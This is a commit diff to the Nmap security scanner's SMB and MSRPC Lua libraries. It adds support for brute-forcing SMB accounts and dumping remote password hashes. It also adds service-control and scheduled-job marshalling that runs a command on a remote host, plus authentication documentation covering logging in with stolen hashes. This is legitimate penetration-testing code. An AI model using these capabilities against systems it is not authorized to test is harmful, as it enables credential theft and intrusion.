mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
Merge in changes from my private branch, primarily smb-brute.nse and smb-pwdump.nse, among other smaller changes.
This commit is contained in:
@@ -1,5 +1,14 @@
|
||||
# Nmap Changelog ($Id$); -*-text-*-
|
||||
|
||||
o Added two new SMB/MSRPC scripts:
|
||||
smb-brute.nse: Bruteforce to discover SMB accounts. Has advanced
|
||||
features, such as lockout detection, username validation,
|
||||
username enumeration, and optimized case detection.
|
||||
smb-pwdump.nse: Uses executables from the Pwdump6 project to
|
||||
dump password hashes from a remote machine (and optionally
|
||||
crack them with Rainbow Crack). Pwdump6 files have to be
|
||||
downloaded separately
|
||||
|
||||
o Fixed the install-zenmap make target for Solaris portability.
|
||||
Solaris /bin/sh does not have test(1) -e. [Daniel Roethlisberger]
|
||||
|
||||
|
||||
1186
nselib/msrpc.lua
1186
nselib/msrpc.lua
File diff suppressed because it is too large
Load Diff
@@ -27,11 +27,21 @@ require 'msrpctypes'
|
||||
-- message), and a table representing the datatype, if any.
|
||||
local function parse_perf_title_database(data, pos)
|
||||
local result = {}
|
||||
local i = 1
|
||||
|
||||
repeat
|
||||
local number, name
|
||||
pos, number, name = bin.unpack("<zz", data, pos)
|
||||
|
||||
if(number == nil) then
|
||||
return false, "Couldn't parse the title database: end of string encountered early"
|
||||
elseif(tonumber(number) == nil) then -- Not sure if this actually happens, but it doesn't hurt to check
|
||||
stdnse.print_debug(1, "MSRPC: ERROR: Couldn't parse the title database: string found where number expected (%d: '%s')", i, number)
|
||||
return false, "Couldn't parse the title database"
|
||||
end
|
||||
|
||||
result[tonumber(number)] = name
|
||||
i = i + 1
|
||||
until pos >= #data
|
||||
|
||||
return true, pos, result
|
||||
@@ -451,12 +461,12 @@ function get_performance_data(host, objects)
|
||||
-- Parse the title database
|
||||
pos = 1
|
||||
status, pos, result['title_database'] = parse_perf_title_database(queryvalue_result['value'], pos)
|
||||
result['title_database'][0] = "<null>"
|
||||
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, pos
|
||||
end
|
||||
result['title_database'][0] = "<null>"
|
||||
|
||||
|
||||
if(objects ~= nil and #objects > 0) then
|
||||
-- Query for the objects
|
||||
|
||||
@@ -124,7 +124,7 @@ function string_to_unicode(string, do_null)
|
||||
local i
|
||||
local result = ""
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering string_to_unicode(string = %s)", string))
|
||||
stdnse.print_debug(4, "MSRPC: Entering string_to_unicode(string = %s)", string)
|
||||
|
||||
if(do_null == nil) then
|
||||
do_null = false
|
||||
@@ -559,9 +559,40 @@ function marshall_unicode(str, do_null, max_length)
|
||||
return result
|
||||
end
|
||||
|
||||
--- Marshall a null-teriminated ascii string, with the length/maxlength prepended. Very similar
|
||||
-- to <code>marshall_unicode</code>, except it's ascii and the null terminator is always used.
|
||||
--
|
||||
--@param str The string to marshall.
|
||||
--@param max_length [optional] The maximum length; default: actual length.
|
||||
function marshall_ascii(str, max_length)
|
||||
local buffer_length
|
||||
local result
|
||||
local padding = ""
|
||||
|
||||
buffer_length = string.len(str) + 1
|
||||
|
||||
if(max_length == nil) then
|
||||
max_length = buffer_length
|
||||
end
|
||||
|
||||
while((string.len(str .. string.char(0) .. padding) % 4) ~= 0) do
|
||||
padding = padding .. string.char(0)
|
||||
end
|
||||
|
||||
result = bin.pack("<IIIzA",
|
||||
max_length,
|
||||
0,
|
||||
buffer_length,
|
||||
str,
|
||||
padding
|
||||
)
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
--- Marshall a pointer to a unicode string.
|
||||
--
|
||||
--@param str The string to insert. Cannot be nil.
|
||||
--@param str The string to insert. Can be nil.
|
||||
--@param do_null [optional] Appends a null to the end of the string. Default false.
|
||||
--@param max_length [optional] Sets a max length that's different than the string's length. Length
|
||||
-- is in characters, not bytes.
|
||||
@@ -578,6 +609,19 @@ function marshall_unicode_ptr(str, do_null, max_length)
|
||||
return result
|
||||
end
|
||||
|
||||
--- Marshall a pointer to an ascii string.
|
||||
--
|
||||
--@param str The string to insert. Can be nil.
|
||||
--@param max_length [optional] Sets a max length that's different than the string's length.
|
||||
--@return A string representing the marshalled data.
|
||||
function marshall_ascii_ptr(str, max_length)
|
||||
local result
|
||||
|
||||
result = marshall_ptr(ALL, marshall_ascii, {str, max_length}, str)
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
--- Unmarshall a string that is in the format:
|
||||
-- <code>[string,charset(UTF16)] uint16 *str</code>
|
||||
--
|
||||
@@ -626,6 +670,41 @@ function unmarshall_unicode_ptr(data, pos, do_null)
|
||||
return pos, result
|
||||
end
|
||||
|
||||
---Marshall an array of unicode strings. This is a perfect demonstration of how to use
|
||||
-- <code>marshall_array</code>.
|
||||
--
|
||||
--@param strings The array of strings to marshall
|
||||
--@param do_null [optional] Appends a null to the end of the string. Default false.
|
||||
--@return A string representing the marshalled data.
|
||||
function marshall_unicode_array(strings, do_null)
|
||||
local array = {}
|
||||
local result
|
||||
|
||||
for i = 1, #strings, 1 do
|
||||
array[i] = {}
|
||||
array[i]['func'] = marshall_ptr
|
||||
array[i]['args'] = {marshall_unicode, {strings[i], do_null}, strings[i]}
|
||||
end
|
||||
|
||||
result = marshall_array(array)
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
---Marshall a pointer to an array of unicode strings. See <code>marshall_unicode_array</code>
|
||||
-- for more information.
|
||||
--
|
||||
--@param strings The array of strings to marshall
|
||||
--@param do_null [optional] Appends a null to the end of the string. Default false.
|
||||
--@return A string representing the marshalled data.
|
||||
function marshall_unicode_array_ptr(strings, do_null)
|
||||
local result
|
||||
|
||||
result = marshall_ptr(ALL, marshall_unicode_array, {strings, do_null}, strings)
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
--- Marshall an int64. This is simply an 8-byte integer inserted into the buffer, nothing fancy.
|
||||
--@param int64 The integer to insert
|
||||
--@return A string representing the marshalled data.
|
||||
@@ -1197,6 +1276,34 @@ local function unmarshall_Enum16(data, pos, table, default, pad)
|
||||
return pos, default
|
||||
end
|
||||
|
||||
---Marshall an entry in a table. Basically, converts the string to a number based on the entries in
|
||||
-- <code>table</code> before sending. Multiple values can be ORed together (like flags) by separating
|
||||
-- them with pipes ("|").
|
||||
--
|
||||
--@param val The value to look up. Can be multiple values with pipes between, eg, "A|B|C".
|
||||
--@param table The table to use for lookups. The keys should be the names, and the values should be
|
||||
-- the numbers.
|
||||
--@param pad [optional] If set, will ensure that we end up on an even multiple of 4. Default: true.
|
||||
--@return A string representing the marshalled data.
|
||||
local function marshall_Enum8(val, table, pad)
|
||||
local result = 0
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_Enum8()"))
|
||||
|
||||
local vals = stdnse.strsplit("|", val)
|
||||
local i
|
||||
|
||||
for i = 1, #vals, 1 do
|
||||
result = bit.bor(result, table[vals[i]])
|
||||
end
|
||||
|
||||
result = marshall_int8(result, pad)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_Enum8()"))
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
|
||||
---Similar to <code>unmarshall_Enum32</code>, except it'll return every value that could be ANDed together to
|
||||
-- create the resulting value (except a 0 value). This is effective for parsing flag data types.
|
||||
--@param data The data packet.
|
||||
@@ -2470,6 +2577,11 @@ function marshall_winreg_StringBuf(table, max_length)
|
||||
end
|
||||
end
|
||||
|
||||
-- For some reason, 0-length strings are handled differently (no null terminator)...
|
||||
if(name == "") then
|
||||
length = 0
|
||||
result = bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(ALL, marshall_unicode, {name, false, max_length}, name))
|
||||
else
|
||||
if(name == nil) then
|
||||
length = 0
|
||||
else
|
||||
@@ -2477,6 +2589,7 @@ function marshall_winreg_StringBuf(table, max_length)
|
||||
end
|
||||
|
||||
result = bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(ALL, marshall_unicode, {name, true, max_length}, name))
|
||||
end
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_winreg_StringBuf()"))
|
||||
return result
|
||||
@@ -4019,8 +4132,363 @@ function unmarshall_samr_DomainInfo_ptr(data, pos)
|
||||
end
|
||||
|
||||
|
||||
----------------------------------
|
||||
-- SVCCTL
|
||||
-- (dependencies: MISC)
|
||||
----------------------------------
|
||||
|
||||
local svcctl_ControlCode =
|
||||
{
|
||||
SERVICE_CONTROL_CONTINUE = 0x00000003,
|
||||
SERVICE_CONTROL_INTERROGATE = 0x00000004,
|
||||
SERVICE_CONTROL_NETBINDADD = 0x00000007,
|
||||
SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A,
|
||||
SERVICE_CONTROL_NETBINDENABLE = 0x00000009,
|
||||
SERVICE_CONTROL_NETBINDREMOVE = 0x00000008,
|
||||
SERVICE_CONTROL_PARAMCHANGE = 0x00000006,
|
||||
SERVICE_CONTROL_PAUSE = 0x00000002,
|
||||
SERVICE_CONTROL_STOP = 0x00000001,
|
||||
}
|
||||
local svcctl_ControlCode_str =
|
||||
{
|
||||
SERVICE_CONTROL_CONTINUE = "Notifies a paused service that it should resume.",
|
||||
SERVICE_CONTROL_INTERROGATE = "Notifies a service that it should report its current status information to the service control manager.",
|
||||
SERVICE_CONTROL_NETBINDADD = "Notifies a network service that there is a new component for binding. Deprecated.",
|
||||
SERVICE_CONTROL_NETBINDDISABLE = "Notifies a network service that one of its bindings has been disabled. Deprecated.",
|
||||
SERVICE_CONTROL_NETBINDENABLE = "Notifies a network service that a disabled binding has been enabled. Deprecated",
|
||||
SERVICE_CONTROL_NETBINDREMOVE = "Notifies a network service that a component for binding has been removed. Deprecated",
|
||||
SERVICE_CONTROL_PARAMCHANGE = "Notifies a service that its startup parameters have changed.",
|
||||
SERVICE_CONTROL_PAUSE = "Notifies a service that it should pause.",
|
||||
SERVICE_CONTROL_STOP = "Notifies a service that it should stop."
|
||||
}
|
||||
|
||||
|
||||
---Marshall a <code>svcctl_ControlCode</code>. This datatype is tied to the table above with that
|
||||
-- name.
|
||||
--
|
||||
--@param flags The value to marshall, as a string
|
||||
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
|
||||
-- found.
|
||||
function marshall_svcctl_ControlCode(flags)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_ControlCode()"))
|
||||
|
||||
result = marshall_Enum32(flags, svcctl_ControlCode)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_svcctl_ControlCode()"))
|
||||
return result
|
||||
end
|
||||
|
||||
---Unmarshall a <code>svcctl_ControlCode</code>. This datatype is tied to the table with that name.
|
||||
--
|
||||
--@param data The data packet.
|
||||
--@param pos The position within the data.
|
||||
--@return (pos, str) The new position, and the string representing the datatype.
|
||||
function unmarshall_svcctl_ControlCode(data, pos)
|
||||
local str
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_ControlCode()"))
|
||||
|
||||
pos, str = unmarshall_Enum32_array(data, pos, svcctl_ControlCode)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_svcctl_ControlCode()"))
|
||||
return pos, str
|
||||
end
|
||||
|
||||
---Convert a <code>svcctl_ControlCode</code> value to a string that can be shown to the user. This is
|
||||
-- based on the <code>_str</table> table.
|
||||
--
|
||||
--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
|
||||
--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
|
||||
function svcctl_ControlCode_tostr(val)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_ControlCode_tostr()"))
|
||||
|
||||
result = svcctl_ControlCode_str[val]
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving svcctl_ControlCode_tostr()"))
|
||||
return result
|
||||
end
|
||||
|
||||
local svcctl_Type =
|
||||
{
|
||||
SERVICE_TYPE_KERNEL_DRIVER = 0x01,
|
||||
SERVICE_TYPE_FS_DRIVER = 0x02,
|
||||
SERVICE_TYPE_ADAPTER = 0x04,
|
||||
SERVICE_TYPE_RECOGNIZER_DRIVER = 0x08,
|
||||
SERVICE_TYPE_DRIVER = 0x0B,
|
||||
SERVICE_TYPE_WIN32_OWN_PROCESS = 0x10,
|
||||
SERVICE_TYPE_WIN32_SHARE_PROCESS = 0x20,
|
||||
SERVICE_TYPE_WIN32 = 0x30
|
||||
}
|
||||
|
||||
---Marshall a <code>svcctl_Type</code>. This datatype is tied to the table above with that
|
||||
-- name.
|
||||
--
|
||||
--@param flags The value to marshall, as a string
|
||||
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
|
||||
-- found.
|
||||
function marshall_svcctl_Type(flags)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_Type()"))
|
||||
|
||||
result = marshall_Enum32(flags, svcctl_Type)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_svcctl_Type()"))
|
||||
return result
|
||||
end
|
||||
|
||||
---Unmarshall a <code>svcctl_Type</code>. This datatype is tied to the table with that name.
|
||||
--
|
||||
--@param data The data packet.
|
||||
--@param pos The position within the data.
|
||||
--@return (pos, str) The new position, and the string representing the datatype.
|
||||
function unmarshall_svcctl_Type(data, pos)
|
||||
local str
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_Type()"))
|
||||
|
||||
pos, str = unmarshall_Enum32_array(data, pos, svcctl_Type)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_svcctl_Type()"))
|
||||
return pos, str
|
||||
end
|
||||
|
||||
---Convert a <code>svcctl_Type</code> value to a string that can be shown to the user. This is
|
||||
-- based on the <code>_str</table> table.
|
||||
--
|
||||
--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
|
||||
--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
|
||||
function svcctl_Type_tostr(val)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_Type_tostr()"))
|
||||
|
||||
result = svcctl_Type_str[val]
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving svcctl_Type_tostr()"))
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
|
||||
local svcctl_State =
|
||||
{
|
||||
SERVICE_STATE_ACTIVE = 0x01,
|
||||
SERVICE_STATE_INACTIVE = 0x02,
|
||||
SERVICE_STATE_ALL = 0x03
|
||||
}
|
||||
---Marshall a <code>svcctl_State</code>. This datatype is tied to the table above with that
|
||||
-- name.
|
||||
--
|
||||
--@param flags The value to marshall, as a string
|
||||
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
|
||||
-- found.
|
||||
function marshall_svcctl_State(flags)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_svcctl_State()"))
|
||||
|
||||
result = marshall_Enum32(flags, svcctl_State)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_svcctl_State()"))
|
||||
return result
|
||||
end
|
||||
|
||||
---Unmarshall a <code>svcctl_State</code>. This datatype is tied to the table with that name.
|
||||
--
|
||||
--@param data The data packet.
|
||||
--@param pos The position within the data.
|
||||
--@return (pos, str) The new position, and the string representing the datatype.
|
||||
function unmarshall_svcctl_State(data, pos)
|
||||
local str
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_svcctl_State()"))
|
||||
|
||||
pos, str = unmarshall_Enum32_array(data, pos, svcctl_State)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_svcctl_State()"))
|
||||
return pos, str
|
||||
end
|
||||
|
||||
---Convert a <code>svcctl_State</code> value to a string that can be shown to the user. This is
|
||||
-- based on the <code>_str</table> table.
|
||||
--
|
||||
--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
|
||||
--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
|
||||
function svcctl_State_tostr(val)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering svcctl_State_tostr()"))
|
||||
|
||||
result = svcctl_State_str[val]
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving svcctl_State_tostr()"))
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
---Unmarshall a SERVICE_STATUS struct, converting it to a table. The structure is as
|
||||
-- follows:
|
||||
--
|
||||
-- <code>
|
||||
-- typedef struct {
|
||||
-- uint32 type;
|
||||
-- uint32 state;
|
||||
-- uint32 controls_accepted;
|
||||
-- WERROR win32_exit_code;
|
||||
-- uint32 service_exit_code;
|
||||
-- uint32 check_point;
|
||||
-- uint32 wait_hint;
|
||||
-- } SERVICE_STATUS;
|
||||
-- </code>
|
||||
--
|
||||
--@param data The data packet.
|
||||
--@param pos The position within the data.
|
||||
--@return (pos, table) The new position, and the table of values.
|
||||
function unmarshall_SERVICE_STATUS(data, pos)
|
||||
local result = {}
|
||||
|
||||
pos, result['type'] = unmarshall_svcctl_Type(data, pos)
|
||||
pos, result['state'] = unmarshall_svcctl_State(data, pos)
|
||||
pos, result['controls_accepted'] = unmarshall_svcctl_ControlCode(data, pos)
|
||||
pos, result['win32_exit_code'] = unmarshall_int32(data, pos)
|
||||
pos, result['service_exit_code'] = unmarshall_int32(data, pos)
|
||||
pos, result['check_point'] = unmarshall_int32(data, pos)
|
||||
pos, result['wait_hint'] = unmarshall_int32(data, pos)
|
||||
|
||||
return pos, result
|
||||
end
|
||||
|
||||
|
||||
|
||||
local atsvc_DaysOfMonth =
|
||||
{
|
||||
First = 0x00000001,
|
||||
Second = 0x00000002,
|
||||
Third = 0x00000004,
|
||||
Fourth = 0x00000008,
|
||||
Fifth = 0x00000010,
|
||||
Sixth = 0x00000020,
|
||||
Seventh = 0x00000040,
|
||||
Eight = 0x00000080,
|
||||
Ninth = 0x00000100,
|
||||
Tenth = 0x00000200,
|
||||
Eleventh = 0x00000400,
|
||||
Twelfth = 0x00000800,
|
||||
Thitteenth = 0x00001000,
|
||||
Fourteenth = 0x00002000,
|
||||
Fifteenth = 0x00004000,
|
||||
Sixteenth = 0x00008000,
|
||||
Seventeenth = 0x00010000,
|
||||
Eighteenth = 0x00020000,
|
||||
Ninteenth = 0x00040000,
|
||||
Twentyth = 0x00080000,
|
||||
Twentyfirst = 0x00100000,
|
||||
Twentysecond = 0x00200000,
|
||||
Twentythird = 0x00400000,
|
||||
Twentyfourth = 0x00800000,
|
||||
Twentyfifth = 0x01000000,
|
||||
Twentysixth = 0x02000000,
|
||||
Twentyseventh = 0x04000000,
|
||||
Twentyeighth = 0x08000000,
|
||||
Twentyninth = 0x10000000,
|
||||
Thirtieth = 0x20000000,
|
||||
Thirtyfirst = 0x40000000
|
||||
}
|
||||
|
||||
---Marshall a <code>atsvc_DaysOfMonth</code>. This datatype is tied to the table above with that
|
||||
-- name.
|
||||
--
|
||||
--@param flags The value to marshall, as a string
|
||||
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
|
||||
-- found.
|
||||
function marshall_atsvc_DaysOfMonth(flags)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_DaysOfMonth()"))
|
||||
|
||||
result = marshall_Enum32(flags, atsvc_DaysOfMonth)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_atsvc_DaysOfMonth()"))
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
local atsvc_Flags =
|
||||
{
|
||||
JOB_RUN_PERIODICALLY = 0x01,
|
||||
JOB_EXEC_ERROR = 0x02,
|
||||
JOB_RUNS_TODAY = 0x04,
|
||||
JOB_ADD_CURRENT_DATE = 0x08,
|
||||
JOB_NONINTERACTIVE = 0x10
|
||||
}
|
||||
---Marshall a <code>atsvc_Flags</code>. This datatype is tied to the table above with that
|
||||
-- name.
|
||||
--
|
||||
--@param flags The value to marshall, as a string
|
||||
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
|
||||
-- found.
|
||||
function marshall_atsvc_Flags(flags)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_Flags()"))
|
||||
|
||||
result = marshall_Enum8(flags, atsvc_Flags, false)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_atsvc_Flags()"))
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
local atsvc_DaysOfWeek =
|
||||
{
|
||||
DAYSOFWEEK_MONDAY = 0x01,
|
||||
DAYSOFWEEK_TUESDAY = 0x02,
|
||||
DAYSOFWEEK_WEDNESDAY = 0x04,
|
||||
DAYSOFWEEK_THURSDAY = 0x08,
|
||||
DAYSOFWEEK_FRIDAY = 0x10,
|
||||
DAYSOFWEEK_SATURDAY = 0x20,
|
||||
DAYSOFWEEK_SUNDAY = 0x40
|
||||
}
|
||||
---Marshall a <code>atsvc_DaysOfWeek</code>. This datatype is tied to the table above with that
|
||||
-- name.
|
||||
--
|
||||
--@param flags The value to marshall, as a string
|
||||
--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
|
||||
-- found.
|
||||
function marshall_atsvc_DaysOfWeek(flags)
|
||||
local result
|
||||
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_atsvc_DaysOfWeek()"))
|
||||
|
||||
result = marshall_Enum8(flags, atsvc_DaysOfWeek, false)
|
||||
|
||||
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_atsvc_DaysOfWeek()"))
|
||||
return result
|
||||
end
|
||||
|
||||
---Marshall a JobInfo struct. The structure is as follows:
|
||||
--
|
||||
--<code>
|
||||
-- typedef struct {
|
||||
-- uint32 job_time;
|
||||
-- atsvc_DaysOfMonth days_of_month;
|
||||
-- atsvc_DaysOfWeek days_of_week;
|
||||
-- atsvc_Flags flags;
|
||||
-- [string,charset(UTF16)] uint16 *command;
|
||||
-- } atsvc_JobInfo;
|
||||
--</code>
|
||||
--
|
||||
--@param command The command to run. This has to be just the command, no parameters; if a
|
||||
-- program requires parameters, then the best way to run it is through a batch
|
||||
-- file.
|
||||
--@param time The time at which to run the job, in milliseconds from midnight.
|
||||
function marshall_atsvc_JobInfo(command, time)
|
||||
local result = ""
|
||||
|
||||
result = result .. marshall_int32(time) -- Job time
|
||||
result = result .. marshall_int32(0) -- Day of month
|
||||
result = result .. marshall_int8(0, false) -- Day of week
|
||||
io.write("Length = " .. #result .. "\n")
|
||||
result = result .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags
|
||||
io.write("Length = " .. #result .. "\n\n\n")
|
||||
result = result .. marshall_int16(0, false) -- Padding
|
||||
result = result .. marshall_unicode_ptr(command, true) -- Command
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -255,10 +255,10 @@ function do_nbstat(host)
|
||||
local encoded_name = name_encode("*")
|
||||
local statistics
|
||||
|
||||
stdnse.print_debug(1, "Performing nbstat on host '%s'", host)
|
||||
stdnse.print_debug(3, "Performing nbstat on host '%s'", host)
|
||||
-- Check if it's cased in the registry for this host
|
||||
if(nmap.registry["nbstat_names_" .. host] ~= nil) then
|
||||
stdnse.print_debug(1, " |_ [using cached value]")
|
||||
stdnse.print_debug(3, " |_ [using cached value]")
|
||||
return true, nmap.registry["nbstat_names_" .. host], nmap.registry["nbstat_statistics_" .. host]
|
||||
end
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ function tostr(data, indent)
|
||||
|
||||
-- Check the type
|
||||
if(type(data) == "nil") then
|
||||
str = str .. (" "):rep(indent) .. data .. "\n"
|
||||
str = str .. (" "):rep(indent) .. "nil\n"
|
||||
elseif(type(data) == "string") then
|
||||
str = str .. (" "):rep(indent) .. data .. "\n"
|
||||
elseif(type(data) == "number") then
|
||||
|
||||
1529
nselib/smb.lua
1529
nselib/smb.lua
File diff suppressed because it is too large
Load Diff
659
nselib/smbauth.lua
Normal file
659
nselib/smbauth.lua
Normal file
@@ -0,0 +1,659 @@
|
||||
---This module takes care of the authentication used in SMB (LM, NTLM, LMv2, NTLMv2).
|
||||
-- There is a lot to this functionality, so if you're interested in how it works, read
|
||||
-- on.
|
||||
--
|
||||
-- In SMB authentication, there are two distinct concepts. Each will be dealt with
|
||||
-- separately. There are:
|
||||
-- * Stored hashes
|
||||
-- * Authentication
|
||||
--
|
||||
-- What's confusing is that the same names are used for each of those.
|
||||
--
|
||||
-- Stored Hashes
|
||||
-- Windows stores two types of hashes: Lanman and NT Lanman (or NTLM). Vista and later
|
||||
-- store NTLM only. Lanman passwords are divided into two 7-character passwords and
|
||||
-- used as a key in DES, while NTLM is converted to unicode and MD4ed.
|
||||
--
|
||||
-- The stored hashes can be dumped in a variety of ways (pwdump6, fgdump, metasploit's
|
||||
-- priv module, smb-pwdump.nse, etc). Generally, two hashes are dumped together
|
||||
-- (generally, Lanman:NTLM). Sometimes, Lanman is empty and only NTLM is given. Lanman
|
||||
-- is never required.
|
||||
--
|
||||
-- The password hashes can be given instead of passwords when supplying credentials;
|
||||
-- this is done by using the <code>smbhash</code> argument. Either a pair of hashes
|
||||
-- can be passed, in the form of Lanman:NTLM, or a single hash, which is assumed to
|
||||
-- be NTLM.
|
||||
--
|
||||
-- Authentication
|
||||
-- There are four types of authentication. Confusingly, these have the same names as
|
||||
-- stored hashes, but only slight relationships. The four types are Lanmanv1, NTLMv1,
|
||||
-- Lanmanv2, and NTLMv2. By default, Lanmanv1 and NTLMv1 are used together in most
|
||||
-- applications. These Nmap scripts default to NTLMv1 alone, except in special cases,
|
||||
-- but it can be overridden by the user.
|
||||
--
|
||||
-- Lanmanv1 and NTLMv1 both use DES for their response. The DES mixes a server challenge
|
||||
-- with the hash (Lanman hash for Lanmanv1 response and NTLMv1 hash for NTLM response).
|
||||
-- The way the challenge is DESed with the hashes is identical for Lanmanv1 and NTLMv1,
|
||||
-- the only difference is the starting hash (Lanman vs NTLM).
|
||||
--
|
||||
-- Lanmanv2 and NTLMv2 both use HMAC-MD5 for their response. The HMAC-MD5 mixes a
|
||||
-- server challenge and a client challenge with the NTLM hash, in both cases. The
|
||||
-- difference between Lanmanv2 and NTLMv2 is the length of the client challenge;
|
||||
-- Lanmanv2 has a maximum client challenge of 8 bytes, whereas NTLMv2 doesn't limit
|
||||
-- the length of the client challenge.
|
||||
--
|
||||
-- The primary advantage to the 'v2' protocols is the client challenge -- by
|
||||
-- incorporating a client challenge, a malicious server can't use a precomputation
|
||||
-- attack.
|
||||
--
|
||||
-- In addition to hashing the passwords, messages are also signed, by default, if a
|
||||
-- v1 protocol is being used (I (Ron Bowes) couldn't get signatures to work on v2
|
||||
-- protocols; if anybody knows how I'd love to implement it).
|
||||
--
|
||||
--@args smbusername The SMB username to log in with. The forms "DOMAIN\username" and "username@DOMAIN"
|
||||
-- are not understood. To set a domain, use the <code>smbdomain</code> argument.
|
||||
--@args smbdomain The domain to log in with. If you aren't in a domained environment, then anything
|
||||
-- will (should?) be accepted by the server.
|
||||
--@args smbpassword The password to connect with. Be cautious with this, since some servers will lock
|
||||
-- accounts if the incorrect password is given. Although it's rare that the
|
||||
-- Administrator account can be locked out, in the off chance that it can, you could
|
||||
-- get yourself in trouble. To use a blank password, leave this parameter off
|
||||
-- altogether.
|
||||
--@args smbhash A password hash to use when logging in. This is given as a single hex string (32
|
||||
-- characters) or a pair of hex strings (both 32 characters, optionally separated by a
|
||||
-- single character). These hashes are the LanMan or NTLM hash of the user's password,
|
||||
-- and are stored on disk or in memory. They can be retrieved from memory
|
||||
-- using the fgdump or pwdump tools.
|
||||
--@args smbtype The type of SMB authentication to use. These are the possible options:
|
||||
-- * <code>v1</code>: Sends LMv1 and NTLMv1.
|
||||
-- * <code>LMv1</code>: Sends LMv1 only.
|
||||
-- * <code>NTLMv1</code>: Sends NTLMv1 only (default).
|
||||
-- * <code>v2</code>: Sends LMv2 and NTLMv2.
|
||||
-- * <code>LMv2</code>: Sends LMv2 only.
|
||||
-- * <code>NTLMv2</code>: Doesn't exist; the protocol doesn't support NTLMv2 alone.
|
||||
-- The default, <code>NTLMv1</code>, is a pretty decent compromise between security and
|
||||
-- compatibility. If you are paranoid, you might want to use <code>v2</code> or
|
||||
-- <code>lmv2</code> for this. (Actually, if you're paranoid, you should be avoiding this
|
||||
-- protocol altogether!). If you're using an extremely old system, you might need to set
|
||||
-- this to <code>v1</code> or <code>lm</code>, which are less secure but more compatible.
|
||||
-- For information, see <code>smbauth.lua</code>.
|
||||
|
||||
module(... or "smbauth", package.seeall)
|
||||
|
||||
require 'bit'
|
||||
require 'bin'
|
||||
require 'netbios'
|
||||
require 'stdnse'
|
||||
|
||||
require 'nsedebug'
|
||||
|
||||
have_ssl = (nmap.have_ssl() and pcall(require, "openssl"))
|
||||
|
||||
-- Constants
|
||||
local NTLMSSP_NEGOTIATE = 0x00000001
|
||||
local NTLMSSP_CHALLENGE = 0x00000002
|
||||
local NTLMSSP_AUTH = 0x00000003
|
||||
|
||||
local function to_unicode(str)
|
||||
local unicode = ""
|
||||
|
||||
for i = 1, #str, 1 do
|
||||
unicode = unicode .. bin.pack("<S", string.byte(str, i))
|
||||
end
|
||||
|
||||
return unicode
|
||||
end
|
||||
|
||||
---Generate the Lanman v1 hash (LMv1). The generated hash is incredibly easy to reverse, because the input
|
||||
-- is padded or truncated to 14 characters, then split into two 7-character strings. Each of these strings
|
||||
-- are used as a key to encrypt the string, "KGS!@#$%" in DES. Because the keys are no longer than
|
||||
-- 7-characters long, it's pretty trivial to bruteforce them.
|
||||
--
|
||||
--@param password the password to hash
|
||||
--@return (status, hash) If status is true, the hash is returned; otherwise, an error message is returned.
|
||||
